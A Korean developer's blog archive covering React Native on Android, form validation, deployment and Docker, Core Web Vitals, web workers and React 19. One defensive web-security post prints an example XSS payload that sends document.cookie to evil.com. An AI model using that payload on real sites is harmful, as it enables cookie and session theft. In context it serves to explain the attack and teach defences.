몽땅뚝딱 개발자

안드로이드 대응 ㄱ-

레오나르도 다빈츠 — Wed, 28 Jan 2026 21:41:21 +0900

다 만들어놨더니 안드로이드에서 제약사항이 너무너무 많아서 뒤집어 엎고있다.

iOS는 아무런 문제가 없었는데 (아주 안일했음) 소켓도 제한해.. form-data 형식도 제한해.. 모달 관련해서 rn에서 제공하는걸로 개발해놨더니 안드로이드 자체에서 UI를 계산하는 로직이랑 부딪혀서 죄다 깨지고 그래서 다시 만들었더니 또 안드로이드에서는 이슈가 있고,,, 키보드 처리도 다르게 해야하고 안드로이드 전용 prop은 왜 이렇게 많은지,,,

이번 개발은 해보지않았던 어려운 UI와 기능이 많았고 UX까지 신경쓰느라 이 모든 이슈들이 버거웠다.

앱 한번 만들어봐서 좀 괜찮을 줄 알았더니 다시 다른 산이 있었다.

이제 정신승리로 다행인 점들을 읋어보자.

1. 에뮬레이터에서도 충분히 재현가능한 이슈들이 많아서 실 기기 이슈가 덜했다.

2. 경험이 늘어난다는 것에 감사하다. 머리가 좀 아플 때가 있긴하지만 그래도 여러가지 새로운 이슈들을 많이 경험해봤고 앞으로도 쭉 써먹을 수 있겠지?

3. 그냥 지금 일을 하고 있다는거 자체가 다행이지 모야

아직 이슈 5천만개 남았지만,,,, 화이팅!

다 지나가리라 ,,, (ㄱ-)

react-hook-form + zod

레오나르도 다빈츠 — Sun, 29 Jun 2025 16:41:48 +0900

기존에는 input값을 전반적으로 관리하는 useState들이 필요했는데 따로 선언하지 않아도되어 편하다

yup도 있는데 typescript 호환은 zod가 더 잘된다고 한다.

공통 util, validation 정책을 가져가기에도 좋은 선택이 될 것 같다.

'use client'

import { useForm } from 'react-hook-form'
import { z } from 'zod'
import { zodResolver } from '@hookform/resolvers/zod'

const schema = z.object({
    content: z.string()
        .min(30, "최소 30자 이상 입력해주세요.")
        .refine((val) => /입력값/.test(val) && /출력값/.test(val), {
            message: "입력값과 출력값이 포함되어야 합니다."
        })
})
type FormData = z.infer<typeof schema>

export default function SpecForm() {
    const { register, handleSubmit, formState: { errors, isValid } } = useForm<FormData>({
        resolver: zodResolver(schema),
        mode: 'onChange'
    })

    const onSubmit = (data: FormData) => {
        console.log(data)
    }

    return (
        <form onSubmit={handleSubmit(onSubmit)} className="max-w-xl mx-auto">
            <h2 className="font-bold text-lg">  기획서를 입력해주세요!</h2>

            <textarea
                {...register('content')}
                placeholder="예: 사용자는 글을 입력(입력값)하면, 실시간 리스트(출력값)가 표시됩니다."
                className="w-full h-40 p-4 border rounded resize-none mt-2"
            />

            {errors.content && (
                <p className="text-red-500 text-sm mt-1">{errors.content.message}</p>
            )}

            <button
                type="submit"
                disabled={!isValid}
                className={`mt-4 px-4 py-2 rounded ${isValid ? 'bg-blue-500 text-white' : 'bg-gray-300'}`}
            >
                분석 요청하기
            </button>
        </form>
    )
}

단어들: 배포의 종류

레오나르도 다빈츠 — Mon, 16 Jun 2025 15:00:15 +0900

1. 정적 배포

HTML, CSS, JS만 있는 경우

React, Vue -> S3, Vercel 등에서 호스팅

2. 동적 배포

서버가 요청을 받고 처리한 결과를 응답

Node.js, Django, Flask

3. 서버리스

백엔드 코드를 Lambda 등에서 실행

AWS Lambda + API Gateway

4. 컨테이너 기반 배포

Docker로 만든 앱을 ECS, Fargate에 배포

마이크로 서비스

5. CI/CD 자동 배포

GitHub Actions 등으로 자동 푸시 & 배포

GitHub → EC2 배포

단어들: ssh, nginx, Docker, GitHub Actions

레오나르도 다빈츠 — Mon, 16 Jun 2025 14:55:22 +0900

1. ssh란?

ssh란 Secure Shell의 줄임말이다. 아래 명령어는 원격서버에 보안 연결로 접속하는 명령어이다.

.pem은 Private Key 파일 확장자로 EC2 인스턴스를 만들 때 생성되는 비밀번호 대신 사용하는 인증키이다.

ssh -i my-key.pem ubuntu@your-ip

* 도서추천: 처음 배우는 AWS, 모두의 리눅스

2. nginx

가볍고 빠른 웹 서버 소프트웨어이다.

정적 파일(=프론트 빌드 파일)을 클라이언트에게 전달(=서빙)하거나 백엔드 API 서버로 프록시 연결도 해준다.

nginx는 EC2 혹은 Docker 컨테이너 내부에서 실행된다.

3. Docker란?

앱 실행 환경을 통째로 포장한 박스이다. 환경설정 + 배포 + 실행을 표준화하는 기술이다.

Node, Python, MySQL, Redis 등을 설치할 필요 없이 하나의 이미지로 어디서든 동일한 환경으로 실행가능하다.

Dockerfile을 작성하고 docker build 명령어로 이미지를 생성한다.

여기서 이미지란 컨테이너를 만들기 위한 설계도 + 재료들이 담긴 것이다.

(Dockerfile -> 이미지 -> 그 이미지를 컨테이너로 실행)

Step 1. Dockerfile 생성

# Node.js 앱을 위한 Dockerfile
FROM node:18
WORKDIR /app
COPY . .
RUN npm install
CMD ["npm", "start"]

Step 2. 이미지 만들기

docker build -t my-app .

Step 3. 이미지로부터 컨테이너 만들고 실행하기

// -p 3000:3000: 내 컴퓨터의 3000번 포트를 컨테이너의 3000번 포트에 연결하겠다는 뜻
// my-app: 실행할 Docker 이미지 이름
docker run -p 3000:3000 my-app

3-1. Docker의 실행환경

내 PC에서 run (무료)

AWS EC2에서 run

AWS ECS / Fargate 사용

Docker Hub 저장

4. GitHub Actions

CI(빌드 & 테스트): 코드 푸시 시 자동 실행

CD(배포): EC2에 SSH 접속하여 최신 코드 배포

.github/workflows/deploy.yml

EC2에 SSH로 접속해서 배포하는 예시

name: Deploy to EC2

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout code
      uses: actions/checkout@v3

    - name: Copy files to EC2 via SSH
      uses: appleboy/scp-action@v0.1.1 // scp-action: 코드를 EC2로 복사
      with:
        host: ${{ secrets.EC2_HOST }}
        username: ubuntu
        key: ${{ secrets.EC2_SSH_KEY }}
        source: "."
        target: "/home/ubuntu/app"

    - name: Run remote deploy commands
      uses: appleboy/ssh-action@v1.0.0 // ssh-action: EC2 접속 후 배포 명령어 실행
      with:
        host: ${{ secrets.EC2_HOST }}
        username: ubuntu
        key: ${{ secrets.EC2_SSH_KEY }}
        script: |
          cd /home/ubuntu/app
          docker-compose down
          docker-compose up -d --build

[토이프로젝트] Textly (1) - 개요

레오나르도 다빈츠 — Sun, 18 May 2025 21:35:23 +0900

PWA를 사용해보자!!

Next.js, Web Share API, Install Prompt, Tesseract.js, Notification을 사용하기로 했다.

기능

1. 명함 스캐너

명함을 사진으로 찍어 이름, 번호, 이메일 추출 후 연락처에 저장, 내보내기, 공유하기

2. 책 인용구 스캐너

책, 인쇄물 이미지를 구절을 스캔하고 SNS 공유, 메모앱 연동, 카드이미지로 변환

이미지 배경 미리 세팅해서 구성하기

3. 수기로 쓴 TODO 목록 자동화

수기로 쓴 메모를 스캔하고 알림 설정, 템플릿 저장 or 재사용할 수 있도록 기능 제공

LCP, CLS, INP란?

레오나르도 다빈츠 — Wed, 14 May 2025 11:44:28 +0900

성능탭에서 확인할 수 있는 수치이다.

1. LCP (Largest Contentful Paint)

"얼마나 빨리 콘텐츠를 보여줄 수 있냐"

가장 큰 콘텐츠가 나타나기까지 걸린 시간으로 사용자가 페이지에 들어갔을 때 메인 컨텐츠라고 느낄만한 가장 큰 이미지나 텍스트 블록이 렌더링 완료되기까지의 시간이다. 좋은 기준은 2.5초 이내이다.

이미지 lazy load
폰트 preload
서버 응답 시간 개선 (백엔드 속도 or SSR 등)
CSS/JS 최적화

2. CLS (Cumulative Layout Shift)

"보여주는 동안 화면이 안정적이냐"

레이아웃이 갑자기 휙휙 움직이는 정도로 페이지 로딩 도중에 요소들이 예상치 못하게 움직이는 정도를 수치로 표현한다. 예를 들어, 버튼을 클릭하려는 순간, 배너가 늦게 로딩돼서 버튼이 아래로 밀리는 경우이다. 좋은 기준은 0.1 미만이다.

이미지, 비디오, 광고 등의 사이즈를 명시
폰트 FOUT/FOIT 방지
애니메이션은 transform/opacity 사용

3. INP (Interaction to Next Paint)

"사용자가 뭔가를 눌렀을 때 화면이 그에 반응하는 데 걸리는 시간이 어느정도냐"

사용자의 입력(예: 클릭, 탭, 키 입력)에 대해, 시각적인 업데이트가 브라우저에 렌더링될 때까지 걸린 시간으로 페이지 수명 동안의 여러 상호작용 중 가장 느렸던 반응 시간(최악의 경우)을 측정한다. 좋은 값은 200ms 이하, 주의가 필요한 값은 200ms~500ms, 느린 값은 500ms가 초과하는 경우다.

1. 메인 스레드 블로킹 제거

1-1. 무거운 계산은 Web Worker로 분리한다.

1-2. requestIdleCallback, setTimeout(fn, 0)을 활용해 유휴 시간(Idle Time)에 실행한다.

// ❌ 느린 예시
const handleClick = () => {
  heavyCalculation(); // 이 함수가 오래 걸림
  setShowModal(true);
};

// ✅ 개선된 예시
// setTimeout(fn, 0): '지금 당장은 아니고, 콜 스택이 비면 다음 이벤트 루프에서 실행해줘'라는 뜻
const handleClick = () => {
  setTimeout(() => {
    heavyCalculation(); // 이벤트 이후, UI가 그려진 뒤 실행
  }, 0);
  setShowModal(true);
};

requestIdleCallback(() => { doBackgroundAnalytics() });

// 브라우저가 idle 상태가 되지 않으면 실행되지 않을 수도 있다.
// 모바일/저사양 디바이스에서 계속 바쁘거나 사용자가 페이지를 빠르게 떠나면 실행되지 않을 수 있다.
// 따라서 예외 없이 실행하기 위해서는 timeout 지정이 필요하다.
requestIdleCallback(callbackFn, { timeout: 1000 });

// 로깅, 히트맵, 분석 등 사용자 체감 없는 작업
useIdleCallbackEffect(() => {
  sendAnalytics({ page: location.pathname });
});

// 무거운 preload 작업
useIdleCallbackEffect(() => {
  sendAnalytics({ page: location.pathname });
});

2. 렌더링 최적화

불필요한 리렌더를 줄인다.

2-1. React.memo, useMemo, useCallback을 활용한다.

// ❌ 모든 버튼 클릭 시 전체 리스트 리렌더
const ListItem = ({ item, onClick }) => {
  return <div onClick={() => onClick(item)}>{item.name}</div>;
};

// ✅ memo로 불필요한 리렌더 방지
const ListItem = React.memo(({ item, onClick }) => {
  return <div onClick={() => onClick(item)}>{item.name}</div>;
});

2-1. Recoil/Zustand 같은 상태관리도 부분 구독하여(selector, slice 등) 쪼갠다.

3. 입력 이벤트 핸들러 최적화

lodash.debounce, lodash.throttle을 활용하여 검색, 오토컴플릿, 스크롤 이벤트에 적용한다.

import debounce from 'lodash.debounce';

const handleInput = debounce((value) => {
  fetchSuggestions(value);
}, 300);

<input onChange={(e) => handleInput(e.target.value)} />

4. 스타일 계산 및 레이아웃 시점 늦추기

스타일이나 DOM 변경을 바로 트리거하면 브라우저가 바로 렌더하려고 하기 때문에 레이아웃 스로틀을 적용해야 한다.

requestAnimationFrame이나 setTimeout으로 늦춘다.

// ❌ 바로 style 바꾸면 INP 지연
element.style.height = '500px';

// ✅ requestAnimationFrame으로 프레임 뒤로 미룸
requestAnimationFrame(() => {
  element.style.height = '500px';
});

5. 서드파티 스크립트 최적화

챗봇, 광고, 추적기 등 외부 스크립트가 메인 스레드를 점유하는 문제가 있다.

5-1. 필요할 때만 lazy load

5-2. async, defer 속성 사용

5-3. 라이브러리 활용

1. Partytown: 서드파티 스크립트를 Web Worker로 옮겨주는 툴 (메인 스레드 차단 방지) 예: 구글 애널리틱스, 채팅 위젯 등

2. iframe: 외부 위젯이나 광고가 메인 DOM 렌더링을 막지 않도록 분리하고 완전히 격리된 환경 제공 (스크립트 충돌 방지)

3. IntersectionObserver: 특정 요소가 화면에 보일 때만 로딩되게 함 (이미지, 컴포넌트 등)

const observer = new IntersectionObserver((entries) => {
  entries.forEach((entry) => {
    if (entry.isIntersecting) {
      loadImage(entry.target);
    }
  });
});

6. 클릭 응답 직후 paint 타이밍 최적화

React 18+ 부터 제공하는 useTransition을 활용하여 비동기 UI 작업을 낮은 우선순위로 처리한다.

React 입장에서는 state가 바뀌면 렌더링이 발생하므로, setState 계열 함수가 곧 UI 작업이다.

사용자 체감이 중요한 상태(state) 변경은 빠르게하고 그 외의 변경은 지연시켜 자연스럽게 처리한다.

import { useTransition } from 'react';

const [isPending, startTransition] = useTransition();

const handleClick = () => {
  startTransition(() => {
    // 1. 검색 필터링
    // 2. 큰 리스트 변경
    // 3. 대량 컴포넌트 변경 ex) 이미지 갤러리, 카드 UI 등
    // 4. 리치 에디더 상태 갱신 ex) Draft.js, Slate 같은 에디터 값 변경
    // 5. 무거운 계산 결과 UI에 반영 ex) 통계 게산 후 차트 렌더링 등
    setHeavyContent(data);
  });
};

import { useState, useTransition } from 'react';

const bigList = Array.from({ length: 10000 }, (_, i) => `Item ${i + 1}`);

export default function SearchComponent() {
  const [query, setQuery] = useState('');
  const [results, setResults] = useState<string[]>([]);
  const [isPending, startTransition] = useTransition();

  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
    const value = e.target.value;
    setQuery(value); // ✅ 즉각적인 UI 응답 (input 값 변경)

    startTransition(() => {
      //   무거운 작업 (많은 데이터를 필터링해서 렌더링)
      const filtered = bigList.filter(item => item.includes(value));
      setResults(filtered); //   이게 바로 setHeavyContent
    });
  };

  return (
    <>
      <input value={query} onChange={handleChange} />
      {isPending && <div>필터링 중...</div>}
      <ul>
        {results.map((item, i) => (
          <li key={i}>{item}</li>
        ))}
      </ul>
    </>
  );
}

7. 큰 DOM 업데이트는 가상화 (Virtualization)

react-window, react-virtualized를 사용한다. 리스트나 테이블 같은 대량의 DOM 노드를 가상화(Virtualization) 하여 렌더링 성능을 최적화 한다.

7-1. react-window

경량화된 최신 가상 리스트 라이브러리로 스크롤 영역에 보이는 아이템만 렌더링 한다.

import { FixedSizeList as List } from 'react-window';

<List
  height={400}
  width={300}
  itemCount={1000}
  itemSize={35}
>
  {({ index, style }) => (
    <div style={style}>Row {index}</div>
  )}
</List>

7-2. react-virtualized

그리드, 테이블 등 좀 더 다양한 UI를 지원한다. 복잡한 경우에는 이를 더 잘 활용할 수 있다.

import { List } from 'react-virtualized';

<List
  width={300}
  height={300}
  rowCount={1000}
  rowHeight={20}
  rowRenderer={({ index, key, style }) => (
    <div key={key} style={style}>Row {index}</div>
  )}
/>

웹 보안 강화하기 / XSS 실습환경

레오나르도 다빈츠 — Tue, 13 May 2025 17:35:38 +0900

XSS, CSRF 등 프론트엔드 취약점을 악용한 공격이 증가하고 있다.

콘텐츠 보안 정책(CSP), 쿠키 보안 설정, 정기적인 보안 감사 등의 보안 강화조치가 필요하다.

1. XSS (Cross-Site Scripting)

악성 스크립트가 그대로 실행되어, 브라우저에서 악성 코드가 실행되는 공격.

방법:

innerHTML을 사용하지 않고 textContent, innerText를 사용한다.

2. CSRF (Cross-Site Request Forgery)

사용자가 로그인된 상태에서 악성 사이트가 자동으로 요청을 보내도록 유도한다.

방법:

1) CSRF 토큰을 사용하여 각 요청에만 유효한 토큰을 만들어서 제출 시 검증한다.

2) SameSite 쿠키 설정: 외부 사이트에서 쿠키를 보내지 못하게 한다.

3) Referer 검증: 요청의 출처가 허용된 도메인인지 서버에서 확인한다.

3. Clickjacking

사용자가 투명한 iframe에 가려진 버튼을 클릭하게 유도해서 의도치 않은 동작을 유발한다.

방법:
1) X-Frame-Options: DENY 설정하여 iframe으로 페이지 임베딩 차단
2) Content-Security-Policy: frame-ancestors 'none' 설정

4. JWT 탈취 및 세션 탈취

JWT를 로컬스토리지에 저장하면 XSS로 쉽게 탈취 가능하다.

방법:

1) HttpOnly 쿠키에 JWT 저장

Set-Cookie: accessToken=eyJ...; HttpOnly; Secure; SameSite=Strict

2) Access/Refresh Token 분리 전략

짧은 만료시간의 Access Token과 Refresh Token의 분리

3) 토큰 만료 및 재발급 정책: 토큰 탈취 시 피해 최소화

5. 쿠키 탈취

쿠키 자체를 훔쳐서 사용자의 인증 정보를 도용한다.

방법:

httpOnly가 있으면 document.cookie에서 보이지 않고 유출 자체가 원천 차단된다.

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

예시:

// 서버에서 받아온 댓글을 그대로 innerHTML로 렌더링
commentBox.innerHTML = `<p>${comment}</p>`;

// 공격자가 댓글에 이렇게 입력한다.
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

document.cookie에서 수집 될 수 있는 정보는 다음과 같다.

1) document.cookie = "theme=dark"; // 취향 노출

2) document.cookie = "sessionId=abc123";

3) document.cookie = "email=user@example.com"; // ⚠️ 비추천

4) document.cookie = "accessToken=eyJhbGciOiJIUzI1NiIsInR..."; // ⚠️ 매우 위험

1. Google 제공 XSS Game (영문)
https://xss-game.appspot.com

단계별로 다양한 XSS 공격을 실습해볼 수 있어요.
JS 콘솔을 열고 공격 코드 작성해보는 연습이 가능해요.

2. PortSwigger XSS Lab (영문, 더 전문적)

https://portswigger.net/web-security/cross-site-scripting

XSS가 발생하는 다양한 웹 구조 실습
Stored XSS, Reflected XSS, DOM-based XSS 모두 체험 가능

3. OWASP Juice Shop (로컬 설치형, 한글 가능)

https://owasp.org/www-project-juice-shop/

npm install으로 직접 설치 가능
일부는 게시판, 상품평에 XSS 공격 가능하게 되어 있음

웹 워커 vs. 서비스 워커

레오나르도 다빈츠 — Fri, 2 May 2025 20:25:38 +0900

웹 워커(Web Worker)

개념

브라우저에서 UI와 분리된 백그라운드 스레드로 무거운 계산을 맡겨서 UI가 멈추지 않게 한다.

CPU를 많이 사용하는 계산, 이미지 처리, 암호화 등을 하고 싶을 때 사용한다.

DOM에는 접근 불가하다.

사용 예시: 이미지 필터 처리, 대규모 정렬 등

Web Worker가 없을 때

// 이 코드는 브라우저를 몇 초간 멈추게 한다.
const bigArray = [...Array(1e8)].map(() => Math.random());
const sorted = bigArray.sort();

Web Worker 사용

// main.js
const worker = new Worker('sortWorker.js');
worker.postMessage(bigArray); // 데이터를 워커에게 전달

worker.onmessage = (e) => {
  console.log('정렬 완료', e.data);
};

// sortWorker.js
onmessage = (e) => {
  const sorted = e.data.sort();
  postMessage(sorted); // 결과 전달
};

서비스 워커(Service Worker)

개념

브라우저와 네트워크 사이에 낀 프록시이다. 오프라인 캐싱, 푸시 알림 등에 사용된다. (PWC의 핵심기술)

사용자가 오프라인이거나, 리소스를 캐시해서 빠르게 응답하거나, 푸시 알림을 보내고 싶을 때 사용한다.

사용 예시: 오프라인 상태에서 페이지 열기 가능

Service Worker 사용

// service-worker.js
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open('v1').then((cache) =>
      cache.addAll([
        '/',
        '/index.html',
        '/styles.css',
        '/app.js',
      ]),
    ),
  );
});

self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request).then((cachedResponse) => {
      return cachedResponse || fetch(event.request);
    }),
  );
});

if ('serviceWorker' in navigator) {
  navigator.serviceWorker.register('/service-worker.js');
}

Polyfill

레오나르도 다빈츠 — Fri, 2 May 2025 20:14:58 +0900

지원되지 않는 브라우저 기능을 흉내내기 위한 코드이다.

특정 브라우저에서 지원되지 않는 메서드가 있는 경우 이를 흉내 낸 코드를 포함시켜 기능을 동작하게 한다.

요즘은 Babel + core-js 같은 도구가 자동으로 Polyfill을 추가해준다.

Promise를 지원하지 않는 브라우저의 경우

if (!window.Promise) {
  // Polyfill 코드 삽입
  window.Promise = myCustomPromiseImplementation;
}

[React.js] React19 주요 특징과 최적화 포인트

레오나르도 다빈츠 — Wed, 30 Apr 2025 20:18:12 +0900

React19를 토이프로젝트에 도입하게되면서 공부한 주요 특징들!

서버/클라이언트의 경계가 흐려지며 Next.js와의 결합구조가 강화되었다.

1. Actions

비동기 상태 업데이트를 간편하게 관리하는 새로운 패턴이다.

직접 setState하지 않아도 되며 로딩도 관리할 필요가 없어졌다!

기본 형태는 const [state, submitAction, isPending] = useActionState(actionFn, initialState)이다.

actionFn: (prevState: StateType, formData: FormData) => Promise<StateType>
initialState: state의 초기값

기존 방식 (React 18 이전)

import React, { useState } from 'react';

export default function ChatForm() {
  const [message, setMessage] = useState('');  // 상태 관리
  const [isPending, setIsPending] = useState(false);  // 로딩 상태 관리

  const handleSubmit = async (e: React.FormEvent) => {
    e.preventDefault();
    setIsPending(true);  // 로딩 시작

    // 비동기 요청 (fetch API)
    await fetch('/api/send', { 
      method: 'POST', 
      body: JSON.stringify({ message }) 
    });

    setIsPending(false);  // 로딩 끝
    setMessage('');  // 입력 필드 초기화
  };

  return (
    <form onSubmit={handleSubmit}>
      <input 
        value={message}
        onChange={(e) => setMessage(e.target.value)} 
        placeholder="메시지 입력"
      />
      <button type="submit" disabled={isPending}>
        {isPending ? '전송 중...' : '전송'}
      </button>
    </form>
  );
}

useActionState를 사용한 방식 (React 19)

'use client';
import { useActionState } from 'react';

async function sendMessage(prevState: string, formData: FormData) {
  const message = formData.get('message') as string;
  await fetch('/api/send', { method: 'POST', body: JSON.stringify({ message }) });
  return '메시지 전송 완료!';
}

export default function ChatForm() {
  const [message, submitAction, isPending] = useActionState(sendMessage, '');

  return (
    <form action={submitAction}>
      <input name="message" />
      <button type="submit" disabled={isPending}>전송</button>
      <p>{message}</p>
    </form>
  );
}

2. 새로운 훅의 등장 (useActionState, useOptimistic, useFormStatus)

useActionState: form action의 상태를 관리한다.
useOptimistic: 실제 요청이 끝나기 전에 먼저 화면을 업데이트 한다.
useFormStatus: 폼 전송 중 여부에 대해 알려준다.

useOptimistic

비동기보다 먼저 UI를 미리 변경한다.

'use client';
import { useOptimistic } from 'react';
import { useState } from 'react';

export default function LikeButton() {
  const [likes, setLikes] = useState(0);

  // optimisticLikes는 UI에 먼저 보여줄 값, apply 함수는 낙관적 업데이트용
  const [optimisticLikes, addOptimisticLike] = useOptimistic(
    likes,
    (currentLikes: number, delta: number) => currentLikes + delta,
  );

  const handleClick = async () => {
    // 1. UI 먼저 업데이트 한 뒤
    addOptimisticLike(1);

    // 2. 서버에 반영한다.
    const res = await fetch('/api/like', { method: 'POST' });
    const data = await res.json();
    setLikes(data.totalLikes); // 실제 값으로 갱신
  };

  return (
    <button onClick={handleClick}>
      ❤️ 좋아요 {optimisticLikes}
    </button>
  );
}

useFormStatus

'use client';
import { useFormStatus } from 'react';

function SubmitButton() {
  const { pending } = useFormStatus();
  return <button type="submit" disabled={pending}>{pending ? '전송 중...' : '제출'}</button>;
}

3. use API

기존 React 방식에서는 렌더링 중에 await를 쓰지 못한다.

그래서 아래와 같이 처리를 했었다.

import { useEffect, useState } from 'react';

function Profile() {
  const [user, setUser] = useState(null);

  useEffect(() => {
    fetch('/api/user')
      .then((res) => res.json())
      .then(setUser);
  }, []);

  if (!user) return <p>로딩 중...</p>;

  return <p>{user.name}님 환영합니다!</p>;
}

React 19에서는 컴포넌트 밖에서 Promise를 정의할 수 있고 use가 마치 await 처럼 동작한다.

아래처럼 간단하게 작성하여 사용할 수 있다.

'use client';
import { use } from 'react';

// 컴포넌트 밖에서 Promise 정의
const userPromise = fetch('/api/user').then((res) => res.json());

export default function Profile() {
  const user = use(userPromise); // use가 Promise를 기다린다.

  return <p>{user.name}님, 환영합니다!</p>;
}

// ⚠️ Suspense로 감싸져 있어야 한다.
import { Suspense } from 'react';
import Profile from './Profile';

export default function Page() {
  return (
    <Suspense fallback={<p>로딩 중...</p>}>
      <Profile />
    </Suspense>
  );
}

API를 여러개 동시에 호출하는 경우

'use client';
import { use } from 'react';

const userPromise = fetch('/api/user').then((res) => res.json());
const settingsPromise = fetch('/api/settings').then((res) => res.json());

export default function Dashboard() {
  const user = use(userPromise);
  const settings = use(settingsPromise);

  return (
    <div>
      <h1>{user.name}님의 대시보드</h1>
      <p>현재 테마: {settings.theme}</p>
    </div>
  );
}

4. 서버 컴포넌트 (Server Components)

React 18 버전은 모든 컴포넌트가 기본적으로 클라이언트 컴포넌트이고, React 19에서는 서버 컴포넌트가 기본으로 바뀌었다.

서버에서 렌더링하고 브라우저로 최소 데이터만 보내는 컴포넌트이다.

// 서버 컴포넌트 (ex: src/app/profile/page.tsx)
import { getUser } from '@/lib/db';

export default async function ProfilePage() {
  const user = await getUser();  // 서버 DB 직접 호출 가능!

  return <div>안녕하세요, {user.name}님!</div>;
}

5. 스타일시트 및 스크립트 최적화 (Suspense 통합)

CSS나 JS 파일 로딩을 더 똑똑하게 관리할 수 있다.

이전에는 HTML이 먼저 로드되고 CSS는 나중에 불러와져서 깜빡거리는 현상이 있었다.

JS 코드, CSS, HTML이 모두 준비된 후 나타나기 때문에 깔끔한 UX를 제공한다.

'use client';
import { Suspense } from 'react';

function Comments() {
  // 느리게 로딩되는 컴포넌트
  return <div>댓글 목록</div>;
}

export default function Page() {
  return (
    <div>
      <h1>게시글 제목</h1>
      <Suspense fallback={<div>댓글 불러오는 중...</div>}>
        <Comments />
      </Suspense>
    </div>
  );
}